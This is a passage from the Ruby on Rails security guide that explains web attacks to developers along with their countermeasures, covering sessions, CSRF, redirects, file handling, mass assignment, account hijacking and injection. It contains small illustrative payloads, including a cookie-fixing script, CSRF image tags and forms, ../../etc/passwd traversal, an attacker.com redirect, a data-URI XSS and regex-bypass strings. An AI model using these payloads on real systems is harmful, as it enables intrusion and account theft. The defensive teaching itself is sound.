Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:

- Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to *provide a secure connection over SSL*. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:

```
config.force_ssl = true
```

- Most people don’t clear out the cookies after working at a public terminal. So if the last user didn’t log out of a web application, you would be able to use it as this user. Provide the user with a *log-out button* in the web application, and *make it prominent*.
- Many cross-site scripting (XSS) exploits aim at obtaining the user’s cookie. You’ll read **more about XSS** later.
- Instead of stealing a cookie unknown to the attacker, he fixes a user’s session identifier (in the cookie) known to him. Read more about this so-called session fixation later.

The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the **Symantec Global Internet Security Threat Report**

Report.

2.4 Session Guidelines

— Here are some general guidelines on sessions.

- *Do not store large objects in a session*. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below). This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
- *Critical data should not be stored in session*. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.

2.5 Session Storage

— Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecord::SessionStore and ActionDispatch::Session::CookieStore.

There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecord::SessionStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecord::SessionStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.

Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:

- Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. *Storing the current user's database id in a session is usually ok*.
- The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, *you don't want to store any secrets here*. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.

That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So *don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters*. Put the secret in your environment.rb:

```
config.action_dispatch.session = {
  :key    => '_app_session',
  :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...'
}
```

There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.

2.6 Replay Attacks for CookieStore Sessions

— Another sort of attack you have to be aware of when using CookieStore is the replay attack.

It works like this:

- A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
- The user buys something.
- His new, lower credit will be stored in the session.
- The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
- The user has his credit back.

Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).

The best *solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user*id in the session.

2.7 Session Fixation

— Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation.

This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:

1. The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image)

session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
2. He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
3. Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script> document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9"; </script>`. Read more about XSS and injection later on.
4. The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
5. As the new trap session is unused, the web application will require the user to authenticate.
6. From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.

2.8 Session Fixation – Countermeasures

— One line of code will protect you from session fixation.

The most effective countermeasure is to *issue a new session identifier* and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:

```
reset_session
```

If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, *you have to transfer them to the new session*.

Another countermeasure is to *save user-specific properties in the session*, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. *These might change over the course of a session*, so these users will not be able to use your application, or only in a limited way.

2.9 Session Expiry

— Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation.

One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to *expire sessions in a database table*. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago.

```
class Session < ActiveRecord::Base
  def self.sweep(time = 1.hour)
    if time.is_a?(String)
      time = time.split.inject { |count, unit| count.to_i.send(unit) }
    end

    delete_all "updated_at < '#{time.ago.to_s(:db)}'"
  end
end
```

The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:

```
delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
  created_at < '#{2.days.ago.to_s(:db)}'"
```

3 Cross-Site Request Forgery (CSRF)

— This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.

In the **session chapter** you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:

- Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
- `<img src="http://www.webapp.com/project/1/destroy">`

- Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
- By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
- The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
- Bob doesn't notice the attack — but a few days later he finds out that project number one is gone.

It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.

CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) — less than 0.1% in 2006 — but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – *CSRF is an important security issue*.

3.1 CSRF Countermeasures

— First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.

The HTTP protocol basically provides two main types of requests – GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:

Use GET if:

- The interaction is more *like a question* (i.e., it is a safe operation such as a query, read operation, or lookup).

Use POST if:

- The interaction is more *like an order*, or
- The interaction *changes the state* of the resource in a way that the user would perceive (e.g., a subscription to a service), or
- The user is *held accountable for the results* of the interaction.

If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today's web browsers, however do not support them – only GET and POST. Rails uses a hidden `_method` field to handle this barrier.

POST requests can be sent automatically, too. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.

```
<a href="http://www.harmless.com/" onclick="
  var f = document.createElement('form');
  f.style.display = 'none';
  this.parentNode.appendChild(f);
  f.method = 'POST';
  f.action = 'http://www.example.com/account/destroy';
  f.submit();
  return false;">To the harmless survey</a>
```

Or the attacker places the code into the onmouseover event handler of an image:

```
<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
```

There are many other possibilities, including Ajax to attack the victim in the background.The *solution to this is including a security token in non-GET requests* which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:

```
protect_from_forgery :secret => "123456789012345678901234567890..."
```

This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. **Note:** In Rails versions prior to 3.0.4, this raised an `ActionController::InvalidAuthenticityToken` error.

Note that *cross-site scripting (XSS) vulnerabilities bypass all CSRF protections*. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read **more about XSS** later.

4 Redirection and Files

Another class of security vulnerabilities surrounds the use of redirection and files in web applications.

4.1 Redirection

— Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack.

Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:

```
def legacy
  redirect_to(params.update(:action=>'main'))
end
```

This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:

```
http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
```

If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to *include only the expected parameters in a legacy action* (again a whitelist approach, as opposed to removing unexpected parameters). *And if you redirect to an URL, check it with a whitelist or a regular expression*.

4.1.1 Self-contained XSS

Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:

```
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
```

This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, *do not allow the user to supply (parts of) the URL to be redirected to*.

4.2 File Uploads

— Make sure file uploads don't overwrite important files, and process media files asynchronously.

Many web applications allow users to upload files. *File names, which the user may choose (partly), should always be filtered* as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.

When filtering user input file names, *don't try to remove malicious parts*. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "..../" – the result will be "../". It is best to use a whitelist approach, which *checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the* ***attachment_fu plugin***fu/tree/master:

```
def sanitize_filename(filename)
  filename.strip.tap do |name|
    # NOTE: File.basename doesn't work right with Windows paths on Unix
    # get only the filename, not the whole path
    name.sub! /\A.*(\\|\/)/, ''
    # Finally, replace all non alphanumeric, underscore
    # or periods with underscore
    name.gsub! /[^\w\.\-]/, '_'
  end
end
```

A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its *vulnerability to denial-of-service attacks*. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.

The solution to this is best to *process media files asynchronously*: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.

4.3 Executable Code in File Uploads

— Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory.

The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file.

someone downloads the file.

If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it, store files at least one level downwards.

4.4 File Downloads

— Make sure users cannot download arbitrary files.

Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:

```
send_file('/var/www/uploads/' + params[:filename])
```

Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to *check that the requested file is in the expected directory*:

```
basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=
     File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, :disposition => 'inline'
```

Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.

5 Intranet and Admin Security

— Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.

In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

XSS If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.

Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.

Refer to the Injection section for countermeasures against XSS. It is *recommended to use the SafeErb plugin* also in an Intranet or administration interface.

CSRF Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.

A real-world example is a **router reconfiguration by CSRF**. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.

Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.

For *countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section*.

5.1 Additional Precautions

The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:

- It is very important to *think about the worst case*: What if someone really got hold of my cookie or user credentials. You could *introduce roles* for the admin interface to limit the possibilities of the attacker. Or how about *special login credentials* for the admin interface, other than the ones used for the public part of the application. Or a *special password for very serious actions*?

application. Or a *special password for very serious actions*.

- Does the admin really have to access the interface from everywhere in the world? Think about *limiting the login to a bunch of source IP addresses_. Examine request.remote*ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
- *Put the admin interface to a special sub-domain* such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.

6 Mass Assignment

— Without any precautions Model.new(params[:model]) allows attackers to set any database column's value.

The mass-assignment feature may become a problem, as it allows an attacker to set any model's attributes by manipulating the hash passed to a model's `new()` method:

```
def signup
  params[:user] # => {:name => “ow3ned”, :admin => true}
  @user = User.new(params[:user])
end
```

Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the `new` method, or `assign_attributes=` a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:

```
"name":http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1
```

This will set the following parameters in the controller:

```
params[:user] # => {:name => “ow3ned”, :admin => true}
```

So if you create a new user using mass-assignment, it may be too easy to become an administrator.

Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the `attributes=` method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in Rails 2.3. `The accepts_nested_attributes_for declaration provides us the ability to extend mass assignment to model associations (has_many, has_one,` has_and_belongs_to_many+). For example:

```
class Person < ActiveRecord::Base
    has_many :children

    accepts_nested_attributes_for :children
  end

  class Child < ActiveRecord::Base
    belongs_to :person
  end
```

As a result, the vulnerability is extended beyond simply exposing column assignment, allowing attackers the ability to create entirely new records in referenced tables (children in this case).

6.1 Countermeasures

To avoid this, Rails provides two class methods in your Active Record class to control access to your attributes. The `attr_protected` method takes a list of attributes that will not be accessible for mass-assignment. For example:

```
attr_protected :admin
```

`attr_protected` also optionally takes a role option using :as which allows you to define multiple mass-assignment groupings. If no role is defined then attributes will be added to the :default role.

```
attr_protected :last_login, :as => :admin
```

A much better way, because it follows the whitelist-principle, is the `attr_accessible` method. It is the exact opposite of `attr_protected`, because *it takes a list of attributes that will be accessible*. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:

```
attr_accessible :name
attr_accessible :name, :is_admin, :as => :admin
```

If you want to set a protected attribute, you will to have to assign it individually:

```
params[:user] # => {:name => "ow3ned", :admin => true}
@user = User.new(params[:user])
@user.admin # => false # not mass-assigned
```

```
@user.admin = true
@user.admin # => true
```

When assigning attributes in Active Record using `attributes=` the :default role will be used. To assign attributes using different roles you should use `assign_attributes` which accepts an optional :as options parameter. If no :as option is provided then the :default role will be used. You can also bypass mass-assignment security by using the `:without_protection` option. Here is an example:

```
@user = User.new

@user.assign_attributes({ :name => 'Josh', :is_admin => true })
@user.name # => Josh
@user.is_admin # => false

@user.assign_attributes({ :name => 'Josh', :is_admin => true }, :as => :admin)
@user.name # => Josh
@user.is_admin # => true

@user.assign_attributes({ :name => 'Josh', :is_admin => true }, :without_protection => true)
@user.name # => Josh
@user.is_admin # => true
```

In a similar way, new, `create`, `create!`, `update_attributes`, and `update_attributes!` methods all respect mass-assignment security and accept either `:as` or `:without_protection` options. For example:

```
@user = User.new({ :name => 'Sebastian', :is_admin => true }, :as => :admin)
@user.name # => Sebastian
@user.is_admin # => true

@user = User.create({ :name => 'Sebastian', :is_admin => true }, :without_protection => true)
@user.name # => Sebastian
@user.is_admin # => true
```

A more paranoid technique to protect your whole project would be to enforce that all models define their accessible attributes. This can be easily achieved with a very simple application config option of:

```
config.active_record.whitelist_attributes = true
```

This will create an empty whitelist of attributes available for mass-assignment for all models in your app. As such, your models will need to explicitly whitelist or blacklist accessible parameters by using an `attr_accessible` or `attr_protected` declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to use this application config option; run your tests, and expose each attribute (via `attr_accessible` or `attr_protected`) as dictated by your failing tests.

7 User Management

— Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.

There are a number of authentication plug-ins for Rails available. Good ones, such as the popular **devise** and **authlogic**, store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features.

Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):

```
http://localhost:3006/user/activate
http://localhost:3006/user/activate?id=
```

This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:

```
User.find_by_activation_code(params[:id])
```

If the parameter was nil, the resulting SQL query will be

```
SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
```

And thus it found the first user in the database, returned it and logged him in. You can find out more about it in **my blog post**. *It is advisable to update your plug-ins from time to time.* Moreover, you can review your application to find more flaws like this.

7.1 Brute-Forcing Accounts

Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic

— Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.

A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.

Because of this, most web applications will display a generic error message "user name or password not correct", if one of these are not correct. If it said "the user name you entered has not been found", an attacker could automatically compile a list of user names.

However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.

In order to mitigate such attacks, *display a generic error message on forgot-password pages, too*. Moreover, you can *require to enter a CAPTCHA after a number of failed logins from a certain IP address*. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.

7.2 Account Hijacking

— Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?

7.2.1 Passwords

Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, *make change-password forms safe against CSRF*, of course. And *require the user to enter the old password when changing it*.

7.2.2 E-Mail

However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure *require the user to enter the password when changing the e-mail address, too*.

7.2.3 Other

Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in **Google Mail**. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, *review your application logic and eliminate all XSS and CSRF vulnerabilities*.

7.3 CAPTCHAs

— A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot.

But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is **reCAPTCHA** which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. **ReCAPTCHA** is also a Rails plug-in with the same name as the API.

You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.

Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.

Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:

- position the fields off of the visible area of the page
- make the elements very small or color them the same as the background of the page
- leave the fields displayed, but tell humans to leave them blank

The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users

saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.

You can find more sophisticated negative CAPTCHAs in Ned Batchelder's **blog post**:

- Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
- Randomize the field names
- Include more than one honeypot field of all types, including submission buttons

Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So *negative CAPTCHAs might not be good to protect login forms*.

7.4 Logging

— Tell Rails not to put passwords in the log files.

By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can *filter certain request parameters from your log files* by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log.

```
config.filter_parameters << :password
```

7.5 Good Passwords

— Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence.

Bruce Schneier, a security technologist, **has analyzed** 34,000 real-world user names and passwords from the MySpace phishing attack mentioned **below**. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:

password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.

It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.

A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the *first letters of a sentence that you can easily remember*. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.

7.6 Regular Expressions

— A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z.

Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:

```
class File < ActiveRecord::Base
  validates :name, :format => /^[\w\.\-\+]+$/
end
```

This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, *in Ruby ^ and $ matches the **line** beginning and line end*. And thus a file name like this passes the filter without problems:

```
file.txt%0A<script>alert('hello')</script>
```

Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:

```
/\A[\w\.\-\+]+\z/
```

7.7 Privilege Escalation

— Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.

The most common parameter that a user might tamper with, is the id parameter, as in `http://www.domain.com/project/1`, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:

```
@project = Project.find(params[:id])
```

This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, *query the user's access rights, too*:

```
@project = @current_user.projects.find(params[:id])
```

Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, *no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated*.

Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. *JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values*. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.

8 Injection

— Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.

Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.

8.1 Whitelists versus Blacklists

— When sanitizing, protecting or verifying something, whitelists over blacklists.

A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), *prefer to use whitelist approaches*:

- Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions.
- Use attr_accessible instead of attr_protected. See the mass-assignment section for details
- Allow instead of removing <script> against Cross-Site Scripting (XSS). See below for details.
- Don't try to correct user input by blacklists:
    - This will make the attack work: "<sc<script>ript>".gsub("<script>", "")
    - But reject malformed input

Whitelists are also a good approach against the human factor of forgetting something in the blacklist.

8.2 SQL Injection

— Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.

8.2.1 Introduction

SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:

```
Project.where("name = '#{params[:name]}'")
```

